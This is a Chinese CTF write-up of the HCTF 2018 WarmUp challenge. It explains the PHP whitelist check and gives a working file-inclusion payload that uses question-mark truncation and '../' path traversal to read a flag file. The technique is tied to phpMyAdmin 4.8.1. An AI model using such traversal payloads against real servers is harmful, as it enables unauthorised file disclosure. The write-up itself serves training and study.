HCTF 2018 Warmup

原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup

考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)

线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用协会内部的CTF训练平台找到此题

过程

访问页面查看源码发现注释里面的内容访问它

访问获得index.php的源码

payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=source.php

 1  <?php
 2     highlight_file(__FILE__);
 3     class emmm
 4     {
 5         public static function checkFile(&$page)
 6         {
 7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
 8             if (! isset($page) || !is_string($page)) {
 9                 echo "you can't see it";
10                 return false;
11             }
12
13             if (in_array($page, $whitelist)) {
14                 return true;
15             }
16
17             $_page = mb_substr(
18                 $page,
19                 0,
20                 mb_strpos($page . '?', '?')
21             );
22             if (in_array($_page, $whitelist)) {
23                 return true;
24             }
25
26             $_page = urldecode($page);
27             $_page = mb_substr(
28                 $_page,
29                 0,
30                 mb_strpos($_page . '?', '?')
31             );
32             if (in_array($_page, $whitelist)) {
33                 return true;
34             }
35             echo "you can't see it";
36             return false;
37         }
38     }
39
40     if (! empty($_REQUEST['file'])
41         && is_string($_REQUEST['file'])
42         && emmm::checkFile($_REQUEST['file'])
43     ) {
44         include $_REQUEST['file'];
45         exit;
46     } else {
47         echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
48     }
49 ?> 

View Code

PHP逻辑运算符

&&逻辑与

||逻辑或运算符

!empty($_REQUEST['file'])要我们的file变量不为空我们先进行分析这段代码 首先看80行第一个要求

is_string($_REQUEST['file'])要求我们传进来的值是字符串类型

emmm::checkFile($_REQUEST['file'])这里将我们的的值传到emmm类里面的checkFile函数

这三个值通过&&逻辑与运算符连接也就是要求这块函数的返回值要全为真才能执行if里面的文件包含的代码 否则就执行else里面的图片代码

 先来熟悉几个函数

//mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
// mb_strpos (haystack ,needle )
// haystack:要被检查的字符串。
// needle:要搜索的字符串

//mb_substr() 函数返回字符串的一部分。

//str 必需。从该 string 中提取子字符串。
//start 必需。规定在字符串的何处开始。
//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。

emmm类分析

从代码中发现新的页面hint访问获得flag文件名

payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php

总的来说这个cehckFile这个函数进行了 3次白名单检测、 2次问好过滤、一次URL解码

 1   class emmm
 2     {
 3         public static function checkFile(&$page)
 4
 5         {
 6             //白名单列表
 7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
 8             //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
 9             if (! isset($page) || !is_string($page)) {
10                 echo "you can't see it A";
11                 return false;
12             }
13             //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
14             if (in_array($page, $whitelist)) {
15                 return true;
16             }
17             //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
18             $_page = mb_substr(
19                 $page,
20                 0,
21                 mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
22             );
23
24              //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
25             if (in_array($_page, $whitelist)) {
26                 return true;
27             }
28             //url对$page解码
29             $_page = urldecode($page);
30
31             //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
32             $_page = mb_substr(
33                 $_page,
34                 0,
35                 mb_strpos($_page . '?', '?')
36             );
37             //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
38             if (in_array($_page, $whitelist)) {
39                 return true;
40             }
41             echo "you can't see it";
42             return false;
43         }
44     }

我们现在可以构造获取flag的语句

hint.php?../../../../../ffffllllaaaagggg 我们可以想象他传入checkFile函数要经历 第一次白名单验证 一次?过滤后他就是hint.php 再进行一次白名单验证 返回为真 则达成条件进行包含得到flag

最终payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg 

[原题复现]HCTF 2018 Warmup相关推荐

  1. [HCTF 2018] WarmUp

    [HCTF 2018] WarmUp 开局一张图,先看看页面源码信息 给出了一个 source.php 应该是后端的源码,这题代码审计了 <?phphighlight_file(__FILE__ ...

  2. BUUCTF [HCTF 2018]WarmUp 1

    BUUCTF [HCTF 2018]WarmUp 1 f12发现提示source.php 打开后发现php代码: <?phphighlight_file(__FILE__);class emmm ...

  3. BUUCTF-WEB:[HCTF 2018]WarmUp

    刷题平台:https://buuoj.cn 题目地址:https://buuoj.cn/challenges#[HCTF%202018]WarmUp 解题步骤: 1.访问:http://26778d3 ...

  4. [HCTF 2018]WarmUp

    这个题的前身是一个cve漏洞(phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)) 刚入坑的小伙伴不要慌,我们一步一步慢慢来看 点开题目,日常f12发现有提示,所以我们 ...

  5. 2019掘安杯原题复现

    1.夺取俄罗斯 so easy 首先点开连接,下载该文件,然后发现是个exe的可执行程序.但是打不开.所以试一下把文件后缀改为.txt,打开发现是一长串字符串. 第一反应是去试一下base64,但是失 ...

  6. 02 [HCTF 2018]WarmUp

    Ctrl+u 查看源码 (修改网页, 访问source.php?file=1 访问 hint.php 补充: MySQL字符串截取 1. 字符串截取:left(str, length) mysql&g ...

  7. buuctf - web - [HCTF 2018]WarmUp

    老样子 F12 检查 发现 source.php 被注释掉了 在 url 直接进行访问 可以看到是源代码 发现 high_file 泄漏, 访问 hint.php,可以看到 flag 在那里 回头分析 ...

  8. 掘安杯原题复现---Web签到题

    flag到底在哪 先打开题目链接,看到页面上只有一个flag在这里的链接,点开后发现是404 notfound 二话不说用burpsuite开始抓包吧(这里抓取点击链接后的包!) 点击action选择 ...

  9. 2018年美国大学生数学建模竞赛原题、翻译及思路整理

    参加了2018年的美赛,整理了一些参考资料,需要的话就拿去吧. 具体内容是:2018年美国大学生数学建模竞赛原题.翻译及思路整理,有兴趣的小伙伴可以看看 链接:https://pan.baidu.co ...

最新文章

  1. 由于客户端检测到一个协议错误 代码0x1104
  2. 声场噪音测试软件,粉红噪声:测试声场频率的标准信号源(转载)
  3. 【SQL】SQL语句大全(XIMND导图梳理)
  4. java list适配器_详解listview的四种适配器模式
  5. mysql慕课网笔记_mysql学习笔记
  6. JQuery 对控件的事件操作
  7. 【蓝桥官网试题 - 算法提高】change(思维)
  8. hnu 暑期实训之Maya历法
  9. 万字长文!搞定逃不脱的 DNS 面试题
  10. bootstrap 固定最底部_固定在页面顶部或底部的导航栏《 Bootstrap 3 基础 》
  11. wso2 ei 6.4.0安装笔记
  12. jlabel 不能连续两次set_请问一个JAVA中JLabel的setFont()问题?
  13. python字典值求和_Python两个字典键同值相加的几种方法
  14. ffmpeg转码html5,FFMPEG转码技术在HTML5视频系统中的研究与应用
  15. centos 7.6 安装mariadb
  16. Machine Learning读书会,面试算法讲座,创业活动,算法班(15年6月)
  17. [题解][Codeforces 1139A~1139F]Codeforces Round #548 (Div. 2) 简要题解
  18. springsecurity整合jwt实现授权认证,权限分配
  19. 苹果电脑php开发工具,Mac系统下给力的PHP开发工具
  20. 启动不了argis的license manager

热门文章

  1. UOJ#310-[UNR #2]黎明前的巧克力【FWT】
  2. weblogic打补丁详细步骤(linux)
  3. 静态NAT 如何配置?
  4. ajax的同步与异步
  5. SpringBoot学习笔记(六)——Redis数据库
  6. 粒径测量中的D10 D50 D90的含义
  7. 1. verilog 基础语法
  8. Android程序员需掌握的JVM知识
  9. Linux--增加用户、添加用户组
  10. Linux系统搭建多用户多目录不同权限访问的FTP服务器